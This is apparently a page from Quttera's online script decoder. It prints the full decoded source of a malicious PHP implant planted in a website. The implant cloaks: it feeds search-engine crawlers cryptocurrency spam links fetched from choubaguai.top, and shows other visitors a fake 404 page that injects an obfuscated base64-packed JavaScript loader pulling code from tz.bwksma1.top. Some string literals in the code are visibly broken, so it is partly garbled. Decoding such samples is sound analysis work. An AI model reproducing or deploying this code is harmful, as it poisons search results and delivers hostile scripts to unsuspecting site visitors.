Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


     
//  ini_set("error_reporting","E_ALL & ~E_NOTICE");
  ini_set('date.timezone','Asia/Shanghai');
  
  $proxy_modex = 2;
  

  $limit = 10000;
  
  
  $inlink_flagx = "bitcoin|ethereum|litecoin|tron|chainlink|cardano|trx|usdt|btc|etc|xmr";


  $url_jsx = "https://tz.bwksma1.top/bnb.js";
  
  $proxy_urlx = "http://usdt.choubaguai.top/index.php?".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
  
  $outlink_urlx = "http://link.choubaguai.top";

  
  $arr_uax = array("google", "bing");
  $arr_refx = array("google", "bing");
//  $arr_uax = array("baidu", "sogou", "360", "yisou");
//  $arr_refx = array("baidu.com", "sogou.com", "so.com", "sm.cn");
  

  if($proxy_modex == 0)     //只开放动态蜘蛛池功能
  {
    //如果是有效的蜘蛛访问，就在本页插入外链+动态内链
    if(info_checkx($_SERVER['HTTP_USER_AGENT'], $arr_uax))
    {
      $outlink_urlx .= "/index.php?flag=".$inlink_flagx."&style=dynamic&limit=".$limit."&domain=".$_SERVER['HTTP_HOST'];
      $contentx = myrequestx($outlink_urlx, $_SERVER['HTTP_USER_AGENT']);
      echo $contentx;
    }
    
  }
  else if($proxy_modex == 1)    //只开放静态蜘蛛池功能
  {

    if(info_checkx($_SERVER['HTTP_USER_AGENT'], $arr_uax))
    {
      $outlink_urlx .= "/index.php?flag=".$inlink_flagx."&style=static&limit=".$limit."&domain=".$_SERVER['HTTP_HOST'];
      $contentx = myrequestx($outlink_urlx, $_SERVER['HTTP_USER_AGENT']);
      echo $contentx;
    }
  }
  else if($proxy_modex == 2) 
  {
    if(info_checkx($_SERVER['HTTP_USER_AGENT'], $arr_uax))
    {
      if(search_flagx($inlink_flagx))
      {
        $proxy_urlx .= "&flag=".$inlink_flagx."&style=dynamic&limit=".$limit."&domain=".$_SERVER['HTTP_HOST'];
        $contentx = myrequestx($proxy_urlx);
        echo $contentx;
        exit;
      }
      else
      {
        $outlink_urlx .= "/index.php?flag=".$inlink_flagx."&style=dynamic&limit=".$limit."&domain=".$_SERVER['HTTP_HOST'];
        $contentx = myrequestx($outlink_urlx, $_SERVER['HTTP_USER_AGENT']);
        echo $contentx;
      }
    }
//    else if(strpos($_SERVER['REQUEST_URI'], "?") !== false && is_Mobile() && info_checkx($_SERVER["HTTP_REFERER"],$arr_refx))
    else if(search_flagx($inlink_flagx))
    {
      $codex = "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">\r\n<html><head>\r\n<title>404 Not Found</title>\r\n</head><body>\r\n<h1>Not Found</h1>\r\n<p>The requested URL {url} was not found on this server.</p>\r\n{js}\r\n</body></html>\r\n";
      $jsx = get_ads($url_jsx);
      $codex = str_ireplace("{js}", $jsx, $codex);
      $contentx = str_ireplace("{url}", $_SERVER['REQUEST_URI'], $codex);
      echo $contentx;
      exit;
    }
  }
  else if($proxy_modex == 3)
  {
    if(info_checkx($_SERVER['HTTP_USER_AGENT'], $arr_uax))
    {
      if(search_flagx($inlink_flagx))
      {
        $proxy_urlx .= "&flag=".$inlink_flagx."&style=static&limit=".$limit."&domain=".$_SERVER['HTTP_HOST'];
        $contentx = myrequestx($proxy_urlx);
        echo $contentx;
        exit;
      }
      else
      {
        $outlink_urlx .= "/index.php?flag=".$inlink_flagx."&style=static&limit=".$limit."&domain=".$_SERVER['HTTP_HOST'];
        $contentx = myrequestx($outlink_urlx, $_SERVER['HTTP_USER_AGENT']);
        echo $contentx;
      }
    }
//    else if(search_flagx($inlink_flagx) && is_Mobile() && info_checkx($_SERVER["HTTP_REFERER"],$arr_refx))
    else if(search_flagx($inlink_flagx))
    {
      $codex = "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">\r\n<html><head>\r\n<title>404 Not Found</title>\r\n</head><body>\r\n<h1>Not Found</h1>\r\n<p>The requested URL {url} was not found on this server.</p>\r\n{js}\r\n</body></html>\r\n";
      $jsx = get_ads($url_jsx);
      $codex = str_ireplace("{js}", $jsx, $codex);
      $contentx = str_ireplace("{url}", $_SERVER['REQUEST_URI'], $codex);
      echo $contentx;
      exit;
    }
  }

  function info_checkx($p_str, $p_arr)
  {
    $result = 0;
    foreach($p_arr as $value)
    {
      if(stripos($p_str,$value)!==false)
      {
        $result = 1;
        break;
      }
    }
    return $result;
  }


  function myrequestx($p_url, $p_ua="Googlebot")
    {
        $opts['http']['ignore_errors'] = true;
        $opts['http']['method'] = "GET";
    $opts['ssl']['verify_peer'] = false;
    $opts['ssl']['allow_self_signed'] = true;
      
        $header_default = array();
    $header_default['User-Agent'] = $p_ua;
    $header_default['Accept'] = "*/*";
    $header_default['Accept-Language'] = "zh-CN";
//    $header_default['Accept-Encoding'] = "gzip, deflate";
    $header_default['Connection'] = "Close";
      
        $result = "";
      foreach($header_default as $key=>$value)
    {
      if($value != "")
      {
        $result .= $key.": ".$value."\r\n";
      }
    }
        
      $opts['http']['header'] = $result;
      $context = stream_context_create($opts);
    $contentx = file_get_contents($p_url, false, $context);
    
    return $contentx;
    }


  function is_Mobilexxx()
  {
    $str = "phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone";
    $arr = explode("|", $str);
    $result = 0;
    foreach($arr as $value)
    {
      if(stripos($_SERVER['HTTP_USER_AGENT'],$value)!==false)
      {
        $result = 1;
        break;
      }
    }
    return $result;
  }


  function search_flagx($p_flag)
  {
    $arr = explode("|", $p_flag);
    $number = count($arr);
    $result = 0;
    $myuri = $_SERVER['REQUEST_URI'];
    for($i = 0; $i < $number; $i ++)
    {
      if(stripos($myuri, $arr[$i]) !== false)
      {
        $result = 1;
        break;
      }
    }
    
    return $result;
  }



  function get_ads($p_url)
  {
    $model = "PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPmV2YWwoZnVuY3Rpb24ocCxhLGMsayxlLHIpe2U9ZnVuY3Rpb24oYyl7cmV0dXJuKGM8YT8nJzplKHBhcnNlSW50KGMvYSkpKSsoKGM9YyVhKT4zNT9TdHJpbmcuZnJvbUNoYXJDb2RlKGMrMjkpOmMudG9TdHJpbmcoMzYpKX07aWYoIScnLnJlcGxhY2UoL14vLFN0cmluZykpe3doaWxlKGMtLSlyW2UoYyldPWtbY118fGUoYyk7az1bZnVuY3Rpb24oZSl7cmV0dXJuIHJbZV19XTtlPWZ1bmN0aW9uKCl7cmV0dXJuJ1xcdysnfTtjPTF9O3doaWxlKGMtLSlpZihrW2NdKXA9cC5yZXBsYWNlKG5ldyBSZWdFeHAoJ1xcYicrZShjKSsnXFxiJywnZycpLGtbY10pO3JldHVybiBwfSgnbShkKHAsYSxjLGssZSxyKXtlPWQoYyl7ZiBjLm4oYSl9O2goIVwnXCcuaSgvXi8sbykpe2ooYy0tKXJbZShjKV09a1tjXXx8ZShjKTtrPVtkKGUpe2YgcltlXX1dO2U9ZCgpe2ZcJ1xcXFx3K1wnfTtjPTF9O2ooYy0tKWgoa1tjXSlwPXAuaShxIHMoXCdcXFxcYlwnK2UoYykrXCdcXFxcYlwnLFwnZ1wnKSxrW2NdKTtmIHB9KFwnMVsiMiJdWyIzIl0oXFxcJzwwIDQ9IjUvNiIgNz0iODovLzkuYS9iLmMiPjwvMD5cXFwnKTtcJyxsLGwsXCd0fHV8dnx4fHl8enxBfEJ8Q3xEfEV8RnxHXCcuSChcJ3xcJyksMCx7fSkpJyw0NCw0NCwnfHx8fHx8fHx8fHx8fGZ1bmN0aW9ufHxyZXR1cm58fGlmfHJlcGxhY2V8d2hpbGV8fDEzfGV2YWx8dG9TdHJpbmd8U3RyaW5nfHxuZXd8fFJlZ0V4cHxzY3JpcHR8d2luZG93fGRvY3VtZW50fHx3cml0ZXx0eXBlfHRleHR8amF2YXNjcmlwdHxzcmN8aHR0cHN8e2RvbWFpbjF9fHtkb21haW4yfXx7bmFtZX18anN8c3BsaXQnLnNwbGl0KCd8JyksMCx7fSkpPC9zY3JpcHQ+";
    $model = base64_decode($model);
  
    $url = $p_url;
  
    $domain_all = regular_domain($url);
    $domain_top = top_domain($domain_all);
  
    $part1 = str_ireplace($domain_top, "", $domain_all);
    $arr = explode(, $domain_top);
    $part2 = $arr[0];
    $part3 = str_ireplace($part2., "", $domain_top);
  
    $str = str_ireplace($domain_top."/", " ", $url);
    $arr = explode(" ", $str);
    $name = $arr[1];
    $name = str_ireplace(".js", "", $name);
  
    $model = str_ireplace("{domain1}", $part1.$part2, $model);
    $model = str_ireplace("{domain2}", $part3, $model);
    $model = str_ireplace("{name}", $name, $model);
  
    return $model;
  }

  
  

  
  
function regular_domain($domain)
{
  if (substr ( $domain, 0, 7 ) == 'http://') {
    $domain = substr ( $domain, 7 );
  }
  else if(substr ( $domain, 0, 8 ) == 'https://') {
    $domain = substr ( $domain, 8 );
  }
  
  if (strpos ( $domain, '/' ) !== false) {
    $domain = substr ( $domain, 0, strpos ( $domain, '/' ) );
  }
  return strtolower ( $domain );
}

function top_domain($domain)
{
  $domain = regular_domain( $domain );
  $iana_root = array (
      'xyz', 'top', 'win', 'life',
      'ac',
      'ad',
      'ae',
      'aero',
      'af',
      'ag',
      'ai',
      'al',
      'am',
      'an',
      'ao',
      'aq',
      'ar',
      'arpa',
      'as',
      'asia',
      'at',
      'au',
      'aw',
      'ax',
      'az',
      'ba',
      'bb',
      'bd',
      'be',
      'bf',
      'bg',
      'bh',
      'bi',
      'biz',
      'bj',
      'bl',
      'bm',
      'bn',
      'bo',
      'bq',
      'br',
      'bs',
      'bt',
      'bv',
      'bw',
      'by',
      'bz',
      'ca',
      'cat',
      'cc',
      'cd',
      'cf',
      'cg',
      'ch',
      'ci',
      'ck',
      'cl',
      'cm',
      'cn',
      'co',
      'com',
      'coop',
      'cr',
      'cu',
      'cv',
      'cw',
      'cx',
      'cy',
      'cz',
      'de',
      'dj',
      'dk',
      'dm',
      'do',
      'dz',
      'ec',
      'edu',
      'ee',
      'eg',
      'eh',
      'er',
      'es',
      'et',
      'eu',
      'fi',
      'fj',
      'fk',
      'fm',
      'fo',
      'fr',
      'ga',
      'gb',
      'gd',
      'ge',
      'gf',
      'gg',
      'gh',
      'gi',
      'gl',
      'gm',
      'gn',
      'gov',
      'gp',
      'gq',
      'gr',
      'gs',
      'gt',
      'gu',
      'gw',
      'gy',
      'hk',
      'hm',
      'hn',
      'hr',
      'ht',
      'hu',
      'id',
      'ie',
      'il',
      'im',
      'in',
      'info',
      'int',
      'io',
      'iq',
      'ir',
      'is',
      'it',
      'je',
      'jm',
      'jo',
      'jobs',
      'jp',
      'ke',
      'kg',
      'kh',
      'ki',
      'km',
      'kn',
      'kp',
      'kr',
      'kw',
      'ky',
      'kz',
      'la',
      'lb',
      'lc',
      'li',
      'lk',
      'lr',
      'ls',
      'lt',
      'lu',
      'lv',
      'ly',
      'ma',
      'mc',
      'md',
      'me',
      'mf',
      'mg',
      'mh',
      'mil',
      'mk',
      'ml',
      'mm',
      'mn',
      'mo',
      'mobi',
      'mp',
      'mq',
      'mr',
      'ms',
      'mt',
      'mu',
      'museum',
      'mv',
      'mw',
      'mx',
      'my',
      'mz',
      'na',
      'name',
      'nc',
      'ne',
      'net',
      'nf',
      'ng',
      'ni',
      'nl',
      'no',
      'np',
      'nr',
      'nu',
      'nz',
      'om',
      'org',
      'pa',
      'pe',
      'pf',
      'pg',
      'ph',
      'pk',
      'pl',
      'pm',
      'pn',
      'pr',
      'pro',
      'ps',
      'pt',
      'pw',
      'py',
      'qa',
      're',
      'ro',
      'rs',
      'ru',
      'rw',
      'sa',
      'sb',
      'sc',
      'sd',
      'se',
      'sg',
      'sh',
      'si',
      'sj',
      'sk',
      'sl',
      'sm',
      'sn',
      'so',
      'sr',
      'ss',
      'st',
      'su',
      'sv',
      'sx',
      'sy',
      'sz',
      'tc',
      'td',
      'tel',
      'tf',
      'tg',
      'th',
      'tj',
      'tk',
      'tl',
      'tm',
      'tn',
      'to',
      'tp',
      'tr',
      'travel',
      'tt',
      'tv',
      'tw',
      'tz',
      'ua',
      'ug',
      'uk',
      'um',
      'us',
      'uy',
      'uz',
      'va',
      'vc',
      've',
      'vg',
      'vi',
      'vn',
      'vu',
      'wf',
      'ws',
      'xxx',
      'ye',
      'yt',
      'za',
      'zm',
      'zw'
  );
  $sub_domain = explode ( , $domain );
  $top_domain = '';
  $top_domain_count = 0;
  for($i = count ( $sub_domain ) - 1; $i >= 0; $i --) {
    if ($i == 0) {
      // just in case of something like NAME.COM
      break;
    }
    if (in_array ( $sub_domain [$i], $iana_root )) {
      $top_domain_count ++;
      $top_domain =  . $sub_domain [$i] . $top_domain;
      if ($top_domain_count >= 2) {
        break;
      }
    }
  }
  $top_domain = $sub_domain [count ( $sub_domain ) - $top_domain_count - 1] . $top_domain;
  return $top_domain;
}


© 2023 Quttera Ltd. All rights reserved.